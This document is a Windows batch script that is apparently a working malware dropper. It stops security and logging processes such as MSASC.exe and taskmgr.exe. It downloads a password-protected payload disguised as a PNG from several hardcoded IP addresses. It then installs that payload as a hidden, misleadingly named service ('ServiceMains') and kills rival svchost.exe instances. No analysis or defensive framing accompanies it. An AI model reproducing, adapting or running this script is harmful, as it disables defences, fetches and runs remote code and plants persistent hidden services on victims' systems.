ÿþ @cls @echo off @net stop "event logs" @sc delete "event logs" @wmic process where name="MSASC.exe" call terminate @webget -O %SystemRoot%\temp\TS_Main1.tmp 47.92.200.188:8088/seeyon/main/login/default/sub_1.png IF ERRORLEVEL 1 goto download2 IF ERRORLEVEL 0 goto Continue :download2 @webget -O %SystemRoot%\temp\TS_Main1.tmp 211.149.224.162:8099/Images/sub_1.png IF ERRORLEVEL 1 goto download4 IF ERRORLEVEL 0 goto Continue :download3 @webget -O %SystemRoot%\temp\TS_Main1.tmp v.bgyhs.net/Content/images/sub_1.png IF ERRORLEVEL 1 goto download4 IF ERRORLEVEL 0 goto Continue :download4 @webget -O %SystemRoot%\temp\TS_Main1.tmp 218.22.10.148/WEB/Images/sub_1.png IF ERRORLEVEL 1 goto download5 IF ERRORLEVEL 0 goto Continue :download5 @webget -O %SystemRoot%\temp\TS_Main1.tmp 222.134.9.172:8080/Images/sub_1.png IF ERRORLEVEL 1 goto download6 IF ERRORLEVEL 0 goto Continue :download6 @webget -O %SystemRoot%\temp\TS_Main1.tmp 221.228.224.150:8001/images/sub_1.png IF ERRORLEVEL 1 goto aa IF ERRORLEVEL 0 goto Continue :Continue @certutil -hashfile %SystemRoot%\temp\TS_Main1.tmp MD5 > %SystemRoot%\temp\N_MD5.tmp @certutil -hashfile %SystemRoot%\temp\TS_Main0.tmp MD5 > %SystemRoot%\temp\Install_MD5.tmp for /f "skip=1 delims=" %%a in (%SystemRoot%\temp\N_MD5.tmp) do ( set N_md5=%%~a goto :Show ) :Show for /f "skip=1 delims=" %%a in (%SystemRoot%\temp\Install_MD5.tmp) do ( set Install_md5=%%~a goto :Compare ) :Compare if /i "%N_md5%" equ "%Install_md5%" ( goto :aa )else ( @del %SystemRoot%\temp\TS_Main0.tmp @ren %SystemRoot%\temp\TS_Main1.tmp TS_Main0.tmp goto :install ) :aa @wmic process where name="AVA.audio.exe" get executablepath > %SystemRoot%\temp\p1.txt @find /i "AVA.audio.exe" %SystemRoot%\temp\p1.txt IF ERRORLEVEL 1 goto install IF ERRORLEVEL 0 goto over :install @net stop clr_optimization_v3.5.30729_64 @net stop servicemains @sc delete servicemains @net stop "event logs" @sc delete "event logs" @wmic process where "name='svchost.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\svchost.exe'" call Terminate @wmic process where name="AVA.audio.exe" call terminate @wmic process where name="taskmgr.exe" call terminate @wmic process where name="unitezip.exe" call terminate Setlocal enabledelayedexpansion for /f "skip=2 delims=: tokens=1,*" %%i in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Retransmit Server_is1" /v "InstallLocation"') do ( set str=%%i set var=%%j set "var=!var:"=!" if not "!var:~-1!"=="=" set lujing="!str:~-1!:!var!" ) if "%lujing%"=="" (goto ZDY ) else ( goto A8install ) :A8install set "lujing=%lujing:"=%" @attrib -s -h -r %lujing%\AVA.audio.exe @attrib -s -h -r %lujing%\config.json @attrib -s -h -r %lujing%\services.exe @del %lujing%\services.exe @del %lujing%\config.json @del %lujing%\AVA.audio.exe @del %SystemRoot%\temp\temp\system.tmp @del %SystemRoot%\temp\temp\csrss.exe @del %SystemRoot%\temp\temp\config.json @del %SystemRoot%\temp\temp\bin.bat @unitezip.exe x -o%SystemRoot%\temp\temp %SystemRoot%\temp\TS_Main0.tmp -p3dYsYwJeL -y copy %SystemRoot%\temp\temp\csrss.exe %lujing%\services.exe /y copy %SystemRoot%\temp\temp\System.tmp %lujing%\AVA.audio.exe /y copy %SystemRoot%\temp\temp\config.json %lujing%\config.json /y %lujing%\services.exe install ServiceMains %lujing%\AVA.audio.exe sc description ServiceMains "AVA.audio RTP Service for Windows Management Instrumentation to the network." sc config ServiceMains DisplayName= "AVA.audio RTP Service" echo install suucessful! goto ok :ZDY set lujing=C:\ProgramData\AVAStandard\ md C:\ProgramData\AVAStandard echo %lujing% @attrib -s -h -r %lujing%\AVA.audio.exe @attrib -s -h -r %lujing%\config.json @attrib -s -h -r %lujing%\services.exe @del %lujing%\services.exe @del %lujing%\config.json @del %lujing%\AVA.audio.exe @del %SystemRoot%\temp\temp\system.tmp @del %SystemRoot%\temp\temp\csrss.exe @del %SystemRoot%\temp\temp\config.json @del %SystemRoot%\temp\temp\bin.bat @unitezip.exe x -o%SystemRoot%\temp\temp %SystemRoot%\temp\TS_Main0.tmp -p3dYsYwJeL -y copy %SystemRoot%\temp\temp\csrss.exe %lujing%\services.exe /y copy %SystemRoot%\temp\temp\System.tmp %lujing%\AVA.audio.exe /y copy %SystemRoot%\temp\temp\config.json %lujing%\config.json /y %lujing%\services.exe install ServiceMains %lujing%\AVA.audio.exe attrib +S +H +R %lujing%\config.json sc description ServiceMains "AVA.audio RTP Service for Windows Management Instrumentation to the network." sc config ServiceMains DisplayName= "AVA.audio RTP Service" echo install suucessful! goto ok :ok @net start ServiceMains @net start clr_optimization_v3.5.30729_64 @attrib +S +H +R %lujing%\config.json @echo update and install by %DATE%£¬%TIME% >> %SystemRoot%\Fonts\install.log goto :sleep8 :sleep8 @del %SystemRoot%\temp\TS_Main1.tmp @del %SystemRoot%\temp\p1.txt @del %SystemRoot%\temp\temp\bin.bat @del %SystemRoot%\temp\temp\1.reg @del %SystemRoot%\temp\temp\config.json @del %SystemRoot%\temp\temp\csrss.exe @del %SystemRoot%\temp\temp\system.tmp @cd %SystemRoot%\Fonts\ @call bin.bat